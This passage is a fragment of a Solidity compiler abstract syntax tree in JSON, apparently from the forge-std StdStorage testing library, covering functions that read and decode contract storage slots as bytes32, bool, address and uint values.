tExpression":{"arguments":[{"arguments":[{"expression":{"id":8319,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8291,"src":"8477:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8320,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8482:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"8477:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":8323,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8499:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8324,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8504:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"8499:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8322,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8491:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8491:7:8","typeDescriptions":{}}},"id":8325,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8491:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8317,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"8469:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8472:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"8469:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":8326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8469:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8316,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8461:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8315,"name":"uint256","nodeType":"ElementaryTypeName","src":"8461:7:8","typeDescriptions":{}}},"id":8327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8461:50:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"id":8328,"name":"mask","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8305,"src":"8514:4:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8461:57:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8330,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8460:59:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">>","rightExpression":{"expression":{"id":8331,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8523:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8332,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8528:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"8523:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8460:79:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8444:95:8"},{"expression":{"arguments":[{"id":8336,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8291,"src":"8555:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8335,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8735,"src":"8549:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":8337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8549:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8338,"nodeType":"ExpressionStatement","src":"8549:11:8"},{"expression":{"arguments":[{"id":8341,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8314,"src":"8588:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8339,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8577:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8340,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8581:6:8","memberName":"encode","nodeType":"MemberAccess","src":"8577:10:8","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8577:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":8295,"id":8343,"nodeType":"Return","src":"8570:24:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read","nameLocation":"8246:4:8","parameters":{"id":8292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8291,"mutability":"mutable","name":"self","nameLocation":"8270:4:8","nodeType":"VariableDeclaration","scope":8345,"src":"8251:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8290,"nodeType":"UserDefinedTypeName","pathNode":{"id":8289,"name":"StdStorage","nameLocations":["8251:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8251:10:8"},"referencedDeclaration":7427,"src":"8251:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8250:25:8"},"returnParameters":{"id":8295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8294,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8345,"src":"8293:12:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8293,"name":"bytes","nodeType":"ElementaryTypeName","src":"8293:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"8292:14:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":8364,"nodeType":"FunctionDefinition","src":"8607:131:8","nodes":[],"body":{"id":8363,"nodeType":"Block","src":"8681:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8356,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8348,"src":"8714:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8355,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"8709:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8357,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8709:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8359,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8722:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8358,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8722:7:8","typeDescriptions":{}}}],"id":8360,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"8721:9:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"}],"expression":{"id":8353,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8698:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8354,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8702:6:8","memberName":"decode","nodeType":"MemberAccess","src":"8698:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8698:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":8352,"id":8362,"nodeType":"Return","src":"8691:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bytes32","nameLocation":"8616:12:8","parameters":{"id":8349,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8348,"mutability":"mutable","name":"self","nameLocation":"8648:4:8","nodeType":"VariableDeclaration","scope":8364,"src":"8629:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8347,"nodeType":"UserDefinedTypeName","pathNode":{"id":8346,"name":"StdStorage","nameLocations":["8629:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8629:10:8"},"referencedDeclaration":7427,"src":"8629:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8628:25:8"},"returnParameters":{"id":8352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8351,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8364,"src":"8672:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8350,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8672:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8671:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8395,"nodeType":"FunctionDefinition","src":"8744:279:8","nodes":[],"body":{"id":8394,"nodeType":"Block","src":"8812:211:8","nodes":[],"statements":[{"assignments":[8373],"declarations":[{"constant":false,"id":8373,"mutability":"mutable","name":"v","nameLocation":"8829:1:8","nodeType":"VariableDeclaration","scope":8394,"src":"8822:8:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":8372,"name":"int256","nodeType":"ElementaryTypeName","src":"8822:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"id":8377,"initialValue":{"arguments":[{"id":8375,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8367,"src":"8842:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8374,"name":"read_int","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8452,"src":"8833:8:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_int256_$","typeString":"function (struct StdStorage storage pointer) returns (int256)"}},"id":8376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8833:14:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"VariableDeclarationStatement","src":"8822:25:8"},{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":8380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8378,"name":"v","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8373,"src":"8861:1:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":8379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8866:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"8861:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8383,"nodeType":"IfStatement","src":"8857:24:8","trueBody":{"expression":{"hexValue":"66616c7365","id":8381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8876:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":8371,"id":8382,"nodeType":"Return","src":"8869:12:8"}},{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":8386,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8384,"name":"v","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8373,"src":"8895:1:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"31","id":8385,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8900:1:8","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"8895:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8389,"nodeType":"IfStatement","src":"8891:23:8","trueBody":{"expression":{"hexValue":"74727565","id":8387,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8910:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":8371,"id":8388,"nodeType":"Return","src":"8903:11:8"}},{"expression":{"arguments":[{"hexValue":"73746453746f7261676520726561645f626f6f6c2853746453746f72616765293a2043616e6e6f74206465636f64652e204d616b65207375726520796f75206172652072656164696e67206120626f6f6c2e","id":8391,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8931:84:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_91e3b02d190bb3e407570bfe894974b331ad10ba40f732248485a8a79ed8e4f5","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.\""},"value":"stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_91e3b02d190bb3e407570bfe894974b331ad10ba40f732248485a8a79ed8e4f5","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.\""}],"id":8390,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"8924:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":8392,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8924:92:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8393,"nodeType":"ExpressionStatement","src":"8924:92:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bool","nameLocation":"8753:9:8","parameters":{"id":8368,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8367,"mutability":"mutable","name":"self","nameLocation":"8782:4:8","nodeType":"VariableDeclaration","scope":8395,"src":"8763:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8366,"nodeType":"UserDefinedTypeName","pathNode":{"id":8365,"name":"StdStorage","nameLocations":["8763:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8763:10:8"},"referencedDeclaration":7427,"src":"8763:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8762:25:8"},"returnParameters":{"id":8371,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8370,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8395,"src":"8806:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8369,"name":"bool","nodeType":"ElementaryTypeName","src":"8806:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8805:6:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8414,"nodeType":"FunctionDefinition","src":"9029:131:8","nodes":[],"body":{"id":8413,"nodeType":"Block","src":"9103:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8406,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8398,"src":"9136:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8405,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"9131:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9131:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8409,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9144:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8408,"name":"address","nodeType":"ElementaryTypeName","src":"9144:7:8","typeDescriptions":{}}}],"id":8410,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"9143:9:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":8403,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9120:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8404,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9124:6:8","memberName":"decode","nodeType":"MemberAccess","src":"9120:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9120:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":8402,"id":8412,"nodeType":"Return","src":"9113:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_address","nameLocation":"9038:12:8","parameters":{"id":8399,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8398,"mutability":"mutable","name":"self","nameLocation":"9070:4:8","nodeType":"VariableDeclaration","scope":8414,"src":"9051:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8397,"nodeType":"UserDefinedTypeName","pathNode":{"id":8396,"name":"StdStorage","nameLocations":["9051:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9051:10:8"},"referencedDeclaration":7427,"src":"9051:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9050:25:8"},"returnParameters":{"id":8402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8401,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8414,"src":"9094:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8400,"name":"address","nodeType":"ElementaryTypeName","src":"9094:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9093:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8433,"nodeType":"FunctionDefinition","src":"9166:128:8","nodes":[],"body":{"id":8432,"nodeType":"Block","src":"9237:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8425,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8417,"src":"9270:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8424,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"9265:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9265:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8428,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9278:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8427,"name":"uint256","nodeType":"ElementaryTypeName","src":"9278:7:8","typeDescriptions":{}}}],"id":8429,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"9277:9:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":8422,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9254:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8423,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9258:6:8","memberName":"decode","nodeType":"MemberAccess","src":"9254:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9254:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8421,"id":8431,"nodeType":"Return","src":"9247:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_uint","nameLocation":"9175:9:8","parameters":{"id":8418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8417,"mutability":"mutable","name":"self","nameLocation":"9204:4:8","nodeType":"VariableDeclaration","scope":8433,"src":"9185:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8416,"nodeType":"UserDefinedTypeName","pathNode":{"id":8415,"name":"StdStorage","nameLocations":["9185:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9185:10:8"},"referencedDeclaration":7427,"src":"9185:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9184:25:8"},"returnParameters":{"id":8421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8420,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8433,"src":"9228:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8419,"name":"uint256","nodeType":"ElementaryTypeName","src":"9228:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9227:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8452,"nodeType":"FunctionDefinition","src":"9300:125:8","nodes":[],"body":{"id":8451,"nodeType":"Block","src":"9369:56:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8444,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8436,"src":"9402:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8443,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"9397:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9397:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 